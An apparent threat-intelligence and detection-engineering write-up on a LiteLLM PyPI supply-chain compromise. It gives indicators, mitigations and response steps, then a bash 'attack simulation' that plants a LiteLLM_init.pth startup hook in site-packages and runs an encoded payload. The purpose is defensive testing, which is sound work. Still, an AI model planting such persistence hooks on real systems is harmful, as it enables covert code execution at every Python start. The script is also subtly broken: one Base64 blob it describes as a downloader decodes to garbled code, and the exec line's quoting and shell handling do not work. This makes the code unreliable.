Your AI Gateway Was a Backdoor: Inside the LiteLLM Supply Chain Compromise

Summary

A supply-chain compromise hit the widely used Python package LiteLLM on PyPI. Malicious releases 1.82.7 and 1.82.8 delivered a three-stage payload designed to steal cloud credentials, SSH keys, and Kubernetes secrets, then pivot inside clusters and establish a persistent backdoor. The activity is attributed to the criminal group TeamPCP and appears connected to earlier compromises involving security tooling, including Trivy and Checkmarx.

Investigation

Investigators linked the intrusion chain to a compromised Trivy GitHub Action that exposed a personal access token, enabling a forced push of tainted LiteLLM versions to PyPI. Code review uncovered a layered, Base64-heavy Python loader that used RSA-4096 and AES-256 for protected staging and exfiltration to attacker-controlled domains. The payload also created Kubernetes pods to access the host filesystem and expand collection. Infrastructure reuse across PyPI, npm, Docker Hub, GitHub Actions, and OpenVSX indicated a coordinated, multi-ecosystem campaign rather than an isolated package hijack.

Mitigation

Block the identified malicious domains, rotate any potentially exposed credentials, and remove LiteLLM_init.pth artifacts. Hunt for persistence via the sysmon.service systemd user unit and investigate unexpected .pth file creation. Reduce supply-chain exposure by enforcing hash-verified installs, limiting or disallowing unreviewed post-install behaviors, and applying egress filtering. Where possible, add JARM fingerprint monitoring to flag traffic associated with known bulletproof-hosting ASNs.

Response

If compromise is suspected, isolate impacted systems, terminate malicious Python processes, and remove the trojanized LiteLLM packages along with any persistence files. Rotate all harvested secrets immediately, prioritizing cloud credentials and LLM API keys. Deploy detections for Base64-encoded Python execution chains, .pth file drops, and anomalous HTTPS POST activity to models.litellm.cloud or checkmarx.zone.

Keywords: LiteLLM, supply chain attack, PyPI, TeamPCP, Trivy, Checkmarx, GitHub Actions, Kubernetes secrets, .pth persistence, credential theft, RSA-4096, AES-256, egress filtering, JARM fingerprinting.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:
  An attacker who has compromised the public LiteLLM PyPI package injects a malicious .pth file named LiteLLM_init.pth. The file is placed in the global site‑packages directory, ensuring it is processed every time any Python interpreter starts. The .pth contains a single line that executes a base64‑encoded payload via subprocess.Popen. The payload downloads a second‑stage tool from a C2 server over HTTPS (T1071.001) and writes stolen credentials to /tmp/creds.txt (T1552.*). By using the interpreter startup hook, the attacker achieves persistence without modifying systemd units, evading many traditional process‑creation baselines.

  The steps simulated are:

  1. Create the malicious .pth file with embedded Python code.
  2. Trigger Python interpreter startup (e.g., python3 -c "import sys"), causing the .pth to run.
  3. The embedded code decodes the base64 payload and launches it with subprocess.Popen, generating a process whose command line contains both LiteLLM_init.pth (from the interpreter import path) and subprocess.Popen.

• Regression Test Script:
  The script below automates the entire attack simulation on the Ubuntu test host.

  #!/usr/bin/env bash
  set -euo pipefail
  
  # ---------- 1. Build malicious .pth payload ----------
  MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
  PAYLOAD_B64="aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHJvY2Vzcy5Qb3BlbihuYW1lPXNvdXJjZSwgc2hlbGxfcGF0aD0iL2Jpbj9jaG93IiwgY2xhc3M9ZnVuY3Rpb24oKSB7fSlzc2V0ZXJ0JkNsb3JlZChzc2V0KX0p"
  # The above decodes to a tiny python script that would download a second‑stage payload.
  # For safety in a test environment we replace it with a harmless echo command.
  PAYLOAD_B64=$(echo -n "import subprocess,base64; subprocess.Popen(['bash','-c','echo malicious executed >> /tmp/malicious.log'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)" | base64 -w0)
  
  # Write the .pth file – the line is executed as Python code during interpreter start‑up
  echo "exec('import base64, subprocess; subprocess.Popen(base64.b64decode("${PAYLOAD_B64}"), shell=True)')" | sudo tee "${MALICIOUS_PTH_PATH}" >/dev/null
  
  echo "[+] Malicious .pth file created at ${MALICIOUS_PTH_PATH}"
  
  # ---------- 2. Trigger interpreter start (generates telemetry) ----------
  echo "[+] Triggering Python interpreter to load .pth..."
  python3 -c "import sys; print('trigger')"
  
  # ---------- 3. Verify that the payload ran ----------
  if grep -q "malicious executed" /tmp/malicious.log; then
    echo "[+] Payload executed successfully – detection should fire."
  else
    echo "[-] Payload did NOT execute – check .pth placement and permissions."
  fi

• Cleanup Commands:

  #!/usr/bin/env bash
  set -euo pipefail
  
  MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
  
  # Remove the malicious .pth file
  if sudo test -f "${MALICIOUS_PTH_PATH}"; then
      sudo rm -f "${MALICIOUS_PTH_PATH}"
      echo "[+] Removed malicious .pth file."
  fi
  
  # Delete the evidence file created by the payload
  if test -f "/tmp/malicious.log"; then
      sudo rm -f "/tmp/malicious.log"
      echo "[+] Cleaned up /tmp/malicious.log."
  fi
  
  # Optionally remove the audit rule (if you added a dedicated test rule)
  # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation